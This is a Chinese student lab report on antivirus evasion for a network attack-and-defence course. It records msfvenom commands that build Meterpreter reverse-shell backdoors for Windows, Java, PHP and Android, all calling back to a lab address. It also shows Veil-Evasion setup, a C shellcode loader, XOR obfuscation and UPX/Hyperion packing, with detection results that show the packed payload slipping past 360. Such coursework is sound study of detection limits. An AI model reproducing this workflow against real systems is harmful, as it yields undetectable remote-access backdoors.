标签:使用命令 保存 disable rate 操作模式 通用 完成 攻击 load
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
杀软是如何检测出恶意代码的
免杀是做什么?
免杀的基本方法有哪些?
对实验二中生成的 20175209_backdoor.exe
后门程序通过VirusTotal和VirSCAN进行检测
VirusTotal检测结果如下下:
VirSCAN的服务器可能是出了问题,在网站中智能选择文件但点击扫描的时候却没有任何反应,而且选中的文件的路径和我的实际路径也不相同,这个问题暂时没有解决
? ? ? ?可见这个原始的后门程序能够被大多数杀软检测出来,我们开始使用msf编码器对改后门程序进行编码:
通过 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.1.108 LPORT=5209 -f exe > exp3.exe
命令生成一次编码的后门程序;参数 -b
用于去除结束符‘\x00‘(这地方忘记截图了)
通过 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.1.108 LPORT=5209 -f exe > exp3_encoded10.exe
命令生成十次编码的后门程序;参数 -i
用于设置迭代次数
生成情况如下:
使用VirusTotal检测结果:
生成jar文件:
命令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.1.108 LPORT=5209 x> 20175209java.jar
使用VirusTotal检测结果:
生成jsp文件:
命令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.1.108 LPORT=5209 x> 20175209jsp.jsp
使用VirusTotal检测结果:
生成php文件:
命令为msfvenom -p php/meterpreter/reverse_tcp LHOST=192.1.108 LPORT=5209 x> 20175209php.php
使用VirusTotal检测结果:
生成apk文件:
命令为msfvenom -p android/meterpreter/reverse_tcp LHOST=192.1.108 LPORT=5209 x> 20175209android.apk
使用VirusTotal检测结果:
有关这部分的内容可以参考MSF-Shellcode生成和使用
命令行中输入 sudo apt-get install veil
安装veil,需要选的第地方输入y
阶段性完成后再次输入veil
继续安装
安装成功后输入 veil
指令进入(这里一定要以sudo模式运行veil,否则后面运行generate
指令时会提示权限不够的错误)
输入use evasion
命令进入veil-evasion
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
设置反弹连接IP地址(kali的IP) set LHOST 192.168.1.108
设置端口 set LPORT 5209
输入generate
生成文件,接着输入生成的playload的名称veil_c_5209
,保存路径为: /var/lib/veil/output/source/veil_c_5209.exe
使用VirusTotal检测结果:
通过命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=5209 -f c
生成一段shellcode
命令行中通过vim 20175209.c
创建.c文件,将生产成的buf [ ]
赋值到代码中
unsigned char buf[] =
(此处过长省略)
int main()
{
int (*func)() = (int(*)())buf;
func();
}
通过 i686-w64-mingw32-g++ 20175209.c -o 20175209.exe
命令,将.c文件转化为可执行文件
使用VirusTotal检测结果:
在windows中运行时,发现仍然可以被杀毒软件(360)查杀到
压缩壳工具UPX
对上一步中生成的20175209.exe
加压缩壳得到 20175209_upxed.exe
使用VirusTotal检测结果:
在运行时还是能被360检测出来
我们把压缩壳的程序添加至360的信任区用于测试反弹连接,测试连接的结果如下:
加密壳工具Hyperion(这里遇到了问题详见问题2)
通过命令 wine hyperion.exe -v 20175209_upxed.exe 20175209_upxed_Hyperion.exe
进行二次加壳
使用VirusTotal检测结果:
在使用360检测时发现经过了加密壳后的后门程序没有被检测出来
测试反弹 连接结果如下:
用msfvenom生成shellcode
将shellcode中每一位于‘0‘进行异或
将异或后的shellcode再与0进行依次异或,目的是取消shellcode的特征码,可以减小被杀软检测到的概率
将最终的shellcode生成为一个可执行文件
使用VirusTotal检测结果:
可以看到相比直接使用shellcode的情况能被检测出来的数目确实变少了
? ? ? ?通过C+shellcode+免杀变形+压缩壳+加密壳的方式进行组合,达到免杀的目的。
这里有一个很奇怪的问题经过了免杀变形的shellcode相比原来的检测结果确实变少了,但是经过了压缩壳和加密壳后再进行检测时能被检测出的数量确有所增加,这和任务一中的情况是相反的
但是仅仅免杀变形后的shellcode是能被360检测出来的,而经过了压缩壳和加密壳后的360是无法检测出来的。针对这个问题我尝试了几次结果都是一样的,不知道究竟是什么情况引起的。
使用VirusTotal检测结果最终经过加密壳的结果:
360的检测情况:
回连情况:
电脑环境:Win7虚拟机
杀软版本:12.0.0.2001
备用木马库:2020-03-26
回连情况:
? ? ? ?这个问题答案是显然的,很明显不能。例如这个实验中,经过了压缩壳和加密壳(二次加壳)的后门程序,虽然能在VirusTotal中被检测出来,但常规的杀毒软件并没有检测出来问题。由此可见,杀软对电脑能起到的防护作用也是有限的,对于那些真正经过了精心设计、多次加密的后门程序,是无法检测出来的。
Could not find Wine Gecko. HTML rendering will be disabled
的错误,但是这个错误在后期并没有影响到实验过程中的内容,在网上也没有查到相应的错误说明和解决方法,就暂时没有理会这个问题sudo apt-get install veil
安装的时候很顺利就成功了,在输入veil
继续安装的时候也只出现了Question1所述的问题,在做实验的过程中出现了Question4的问题,开始以为是veil安装过程中出现了问题所以打算重新安装在老师给的课程讲义中给出的/usr/share/veil-evasion/tools/hyperion
和学长学姐的博客中给出的 /usr/share/windows-binaries/hyperion/
路径下都没有找到相应的文件和程序都没有找到hyperion.exe
程序,开始在网上找了一些解决方法但是都没有成功,后来参照丁文韬同学的博客找到了相关的资源和解决方法,现已上传到百度网盘
链接:https://pan.baidu.com/s/1qcHXYbsLDiH4x8nCbFkGrA
提取码:kfxb
在解压后的文件夹中进行相应的配置,将生成的压缩壳文件copy到目录下进行压缩壳的操作即可。
? ? ? ?通过本次实验对后门程序的进行加工进而防范免杀的过程有了更好的认识和了解,同时学习到了很多免杀相关的知识,也接触了测试后门程序安全性的工具;
? ? ? ?通过本次实验,也让我认识到了杀毒软件的不足之处,虽然本次实验过程中加工的后门程序都能被VirusTool扫描出来,但是部分后门程序经过压缩壳和加密壳之后是能够躲过杀软的查杀的,因此日常在检测电脑时时候虽然检测通过但仍可能存在潜在的威胁,对于主机的防范也更加重要。
MSF-Shellcode生成和使用
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践
Veil-Evasion下载、安装、使用教程- 付杰博客
kali之veil-evasion免杀安装找不到wine32包-亲测解决方案
2019-2020-2 网络对抗技术 20175209 Exp3 免杀原理与实践
标签:使用命令 保存 disable rate 操作模式 通用 完成 攻击 load
原文地址:https://www.cnblogs.com/wangzihong0213/p/12575084.html